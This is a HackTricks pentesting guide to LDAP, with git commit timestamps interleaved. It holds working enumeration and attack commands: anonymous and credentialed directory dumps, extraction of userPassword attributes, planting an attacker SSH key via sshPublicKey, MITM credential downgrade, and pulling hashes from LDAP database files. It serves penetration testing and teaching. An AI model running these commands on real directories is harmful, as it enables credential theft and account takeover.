hacktricks/pentesting/pentesting-ldap.md

379 lines
13 KiB
Markdown
Raw Normal View History

# 389, 636, 3268, 3269 - Pentesting LDAP
## Basic Information
Extracted from: [https://searchmobilecomputing.techtarget.com/definition/LDAP](https://searchmobilecomputing.techtarget.com/definition/LDAP)
LDAP \(Lightweight Directory Access Protocol\) is a software protocol for enabling anyone to **locate** organizations, individuals, and other **resources** such as files and devices in a network, whether on the public Internet or on a corporate intranet. LDAP is a "lightweight" \(smaller amount of code\) version of Directory Access Protocol \(DAP\).
An LDAP directory can be **distributed** among many servers. Each server can have a **replicated** version of the total directory that is **synchronized** periodically. An LDAP server is called a Directory System Agent \(DSA\). An LDAP server that receives a request from a user takes responsibility for the request, passing it to other DSAs as necessary, but ensuring a single coordinated response for the user.
An LDAP directory is organized in a simple "tree" hierarchy consisting of the following levels:
* The root directory \(the starting place or the source of the tree\), which branches out to
* Countries, each of which branches out to
* Organizations, which branch out to
* Organizational units \(divisions, departments, and so forth\), which branches out to \(includes an entry for\)
* Individuals \(which includes people, files, and shared resources such as printers\)
**Default port:** 389 and 636\(ldaps\). Global Catalog \(LDAP in ActiveDirectory\) is available by default on ports 3268, and 3269 for LDAPS.
```text
PORT STATE SERVICE REASON
389/tcp open ldap syn-ack
636/tcp open tcpwrapped
```
### LDAP Data Interchange Format
LDIF \(LDAP Data Interchange Format\) defines the directory content as a set of records. It can also represent update requests \(Add, Modify, Delete, Rename\).
```bash
dn: dc=local
dc: local
objectClass: dcObject
dn: dc=moneycorp,dc=local
dc: moneycorp
objectClass: dcObject
objectClass: organization
dn ou=it,dc=moneycorp,dc=local
objectClass: organizationalUnit
ou: dev
dn: ou=marketing,dc=moneycorp,dc=local
objectClass: organizationalUnit
Ou: sales
dn: cn= ,ou= ,dc=moneycorp,dc=local
objectClass: personalData
cn:
sn:
gn:
uid:
ou:
mail: pepe@hacktricks.xyz
phone: 23627387495
```
* Lines 1-3 define the top level domain local
* Lines 5-8 define the first level domain moneycorp \(moneycorp.local\)
* Lines 10-16 define 2 organizational units: dev and sales
* Lines 18-26 create an object of the domain and assign attributes with values
## Basic Enumeration
### Manual
You can try to **enumerate a LDAP with or without credentials using python**: `pip3 install ldap3`
First try to **connect without** credentials:
```bash
>>> import ldap3
>>> server = ldap3.Server('x.X.x.X', get_info = ldap3.ALL, port =636, use_ssl = True)
>>> connection = ldap3.Connection(server)
>>> connection.bind()
True
>>> server.info
```
If the response is `True` like in the previous example, you can obtain some **interesting data** of the LDAP \(like the **naming context** or **domain name**\) server from:
```bash
>>> server.info
DSA info (from DSE):
Supported LDAP versions: 3
Naming contexts:
dc=DOMAIN,dc=DOMAIN
```
Once you have the naming context you can make some more exciting queries. This simply query should show you all the objects in the directory:
```bash
>>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=*))', search_scope='SUBTREE', attributes='*')
True
>> connection.entries
```
Or **dump** the whole ldap:
```bash
>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=person))', search_scope='SUBTREE', attributes='userPassword')
True
>>> connection.entries
```
### Automated
Using this you will be able to see the **public information** \(like the domain name\)**:**
```bash
nmap -n -sV --script "ldap* and not brute" <IP> #Using anonymous credentials
```
## Write data
Note that if you can modify values you could be able to perform really interesting actions. For example, imagine that you **can change the "sshPublicKey" information** of your user or any user. It's highly probable that if this attribute exist, then **ssh is reading the public keys from LDAP**. If you can modify the public key of a user you **will be able to login as that user even if password authentication is not enabled in ssh**.
```bash
>>> import ldap3
>>> server = ldap3.Server('x.x.x.x', port =636, use_ssl = True)
>>> connection = ldap3.Connection(server, 'uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN', 'PASSWORD', auto_bind=True)
>>> connection.bind()
True
>>> connection.extend.standard.who_am_i()
u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN'
>>> connection.modify('uid=USER,ou=USERS,dc=DOMAINM=,dc=DOMAIN',{'sshPublicKey': [(ldap3.MODIFY_REPLACE, ['ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHRMu2et/B5bUyHkSANn2um9/qtmgUTEYmV9cyK1buvrS+K2gEKiZF5pQGjXrT71aNi5VxQS7f+s3uCPzwUzlI2rJWFncueM1AJYaC00senG61PoOjpqlz/EUYUfj6EUVkkfGB3AUL8z9zd2Nnv1kKDBsVz91o/P2GQGaBX9PwlSTiR8OGLHkp2Gqq468QiYZ5txrHf/l356r3dy/oNgZs7OWMTx2Rr5ARoeW5fwgleGPy6CqDN8qxIWntqiL1Oo4ulbts8OxIU9cVsqDsJzPMVPlRgDQesnpdt4cErnZ+Ut5ArMjYXR2igRHLK7atZH/qE717oXoiII3UIvFln2Ivvd8BRCvgpo+98PwN8wwxqV7AWo0hrE6dqRI7NC4yYRMvf7H8MuZQD5yPh2cZIEwhpk7NaHW0YAmR/WpRl4LbT+o884MpvFxIdkN1y1z+35haavzF/TnQ5N898RcKwll7mrvkbnGrknn+IT/v3US19fPJWzl1/pTqmAnkPThJW/k= badguy@evil'])]})
```
Example taken from: [https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/](https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/)
## Clear text credentials
If LDAP is used without SSL you can **sniff credentials in plain text** in the network.
Also, you can perform a **MITM** attack in the network **between the LDAP server and the client.** Here you can make a **Downgrade Attack** so the client with use the **credentials in clear text** to login.
**If SSL is used** you can try to make **MITM** like the mentioned above but offering a **false certificate**, if the **user accepts it**, you are able to Downgrade the authentication method and see the credentials again.
## Valid Credentials
If you have valid credentials to login into the LDAP server, you can dump all the information about the Domain Admin using:
[ldapdomaindump](https://github.com/dirkjanm/ldapdomaindump)
```bash
pip3 install ldapdomaindump
ldapdomaindump <IP> [-r <IP>] -u '<domain>\<username>' -p '<password>' [--authtype SIMPLE] --no-json --no-grep [-o /path/dir]
```
### [Brute Force](../brute-force.md#ldap)
### Manual
#### ldapsearch
Check null credentials or if your credentials are valid:
```bash
ldapsearch -x -h <IP> -D '' -w '' -b "DC=<1_SUBDOMAIN>,DC=<TDL>"
ldapsearch -x -h <IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TDL>"
```
```bash
## CREDENTIALS NOT VALID RESPONSE
search: 2
result: 1 Operations error
text: 000004DC: LdapErr: DSID-0C090A4C, comment: In order to perform this opera
tion a successful bind must be completed on the connection., data 0, v3839
```
If you find something saying that the "_bind must be completed_" means that the credentials arr incorrect.
You can extract **everything from a domain** using:
```bash
ldapsearch -x -h <IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TDL>"
-x Simple Authentication
-h LDAP Server
-D My User
-w My password
-b Base site, all data from here will be given
```
Extract **users**:
```bash
ldapsearch -x -h <IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Users,DC=<1_SUBDOMAIN>,DC=<TDL>"
#Example: ldapsearch -x -h <IP> -D 'MYDOM\john' -w 'johnpassw' -b "CN=Users,DC=mydom,DC=local"
```
Extract **computers**:
```bash
ldapsearch -x -h <IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Computers,DC=<1_SUBDOMAIN>,DC=<TDL>"
```
Extract **my info**:
```bash
ldapsearch -x -h <IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=<MY NAME>,CN=Users,DC=<1_SUBDOMAIN>,DC=<TDL>"
```
Extract **Domain Admins**:
```bash
ldapsearch -x -h <IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TDL>"
```
Extract **Domain Users**:
```bash
ldapsearch -x -h <IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Users,CN=Users,DC=<1_SUBDOMAIN>,DC=<TDL>"
```
Extract **Enterprise Admins**:
```bash
ldapsearch -x -h <IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Enterprise Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TDL>"
```
Extract **Administrators**:
```bash
ldapsearch -x -h <IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Administrators,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TDL>"
```
Extract **Remote Desktop Group**:
```bash
ldapsearch -x -h <IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Remote Desktop Users,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TDL>"
```
To see if you have access to any password you can use grep after executing one of the queries:
```bash
<ldapsearchcmd...> | grep -i -A2 -B2 "userpas"
```
Please, notice that the passwords that you can find here could not be the real ones...
#### pbis
You can download **pbis** from here: [https://github.com/BeyondTrust/pbis-open/](https://github.com/BeyondTrust/pbis-open/) and it's usually installed in `/opt/pbis`.
**Pbis** allow you to get basic information easily:
```bash
2021-01-19 17:57:39 +00:00
#Read keytab file
./klist -k /etc/krb5.keytab
#Get known domains info
./get-status
./lsa get-status
#Get basic metrics
./get-metrics
./lsa get-metrics
#Get users
./enum-users
./lsa enum-users
#Get groups
./enum-groups
./lsa enum-groups
#Get all kind of objects
./enum-objects
./lsa enum-objects
#Get groups of a user
./list-groups-for-user <username>
./lsa list-groups-for-user <username>
2021-01-06 00:15:17 +00:00
#Get groups of each user
./enum-users | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do ./list-groups-for-user "$name"; echo -e "========================\n"; done
#Get users of a group
./enum-members --by-name "domain admins"
./lsa enum-members --by-name "domain admins"
2021-01-06 00:15:17 +00:00
#Get users of each group
./enum-groups | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do echo "$name"; ./enum-members --by-name "$name"; echo -e "========================\n"; done
#Get description of each user
./adtool -a search-user --name CN="*" --keytab=/etc/krb5.keytab -n <Username> | grep "CN" | while read line; do
echo "$line";
./adtool --keytab=/etc/krb5.keytab -n <username> -a lookup-object --dn="$line" --attr "description";
echo "======================"
done
```
## Graphical Interface
2020-09-13 20:20:14 +00:00
### Apache Directory
\*\*\*\*[**Download Apache Directory from here**](https://directory.apache.org/studio/download/download-linux.html). You can find an [example of how to use this tool here](https://www.youtube.com/watch?v=VofMBg2VLnw&t=3840s).
### jxplorer
You can download a graphical interface with LDAP server here: [http://www.jxplorer.org/downloads/users.html](http://www.jxplorer.org/downloads/users.html)
By default is is installed in: _/opt/jxplorer_
![](../.gitbook/assets/image%20%28106%29.png)
## Authentication via kerberos
Using `ldapsearch` you can **authenticate** against **kerberos instead** of via **NTLM** by using the parameter `-Y GSSAPI`
## POST
If you can access the files where the databases are contained \(could be in _/var/lib/ldap_\). You can extract the hashes using:
```bash
cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u
```
You can feed john with the password hash \(from '{SSHA}' to 'structural' without adding 'structural'\).
### Configuration Files
* General
* containers.ldif
* ldap.cfg
* ldap.conf
* ldap.xml
* ldap-config.xml
* ldap-realm.xml
* slapd.conf
* IBM SecureWay V3 server
* V3.sas.oc
* Microsoft Active Directory server
* msadClassesAttrs.ldif
* Netscape Directory Server 4
* nsslapd.sas\_at.conf
* nsslapd.sas\_oc.conf
* OpenLDAP directory server
* slapd.sas\_at.conf
* slapd.sas\_oc.conf
* Sun ONE Directory Server 5.1
* 75sas.ldif
2021-08-12 13:06:00 +00:00
## HackTricks Automatic Commands
```text
2021-08-12 13:06:00 +00:00
Protocol_Name: LDAP #Protocol Abbreviation if there is one.
Port_Number: 389,636 #Comma separated if there is more than one.
Protocol_Description: Lightweight Directory Access Protocol #Protocol Abbreviation Spelled out
2021-08-15 17:52:05 +00:00
Entry_1:
Name: Notes
Description: Notes for LDAP
Note: |
LDAP (Lightweight Directory Access Protocol) is a software protocol for enabling anyone to locate organizations, individuals, and other resources such as files and devices in a network, whether on the public Internet or on a corporate intranet. LDAP is a "lightweight" (smaller amount of code) version of Directory Access Protocol (DAP).
https://book.hacktricks.xyz/pentesting/pentesting-ldap
Entry_2:
Name: Banner Grab
Description: Grab LDAP Banner
Command: nmap -p 389 --script ldap-search -Pn {IP}
Entry_3:
Name: LdapSearch
Description: Base LdapSearch
Command: ldapsearch -h {IP} -x
Entry_4:
Name: LdapSearch Naming Context Dump
Description: Attempt to get LDAP Naming Context
Command: ldapsearch -h {IP} -x -s base namingcontexts
Entry_5:
Name: LdapSearch Big Dump
Description: Need Naming Context to do big dump
Command: ldapsearch -h {IP} -x -b "{Naming_Context}"
2021-08-12 13:06:00 +00:00
```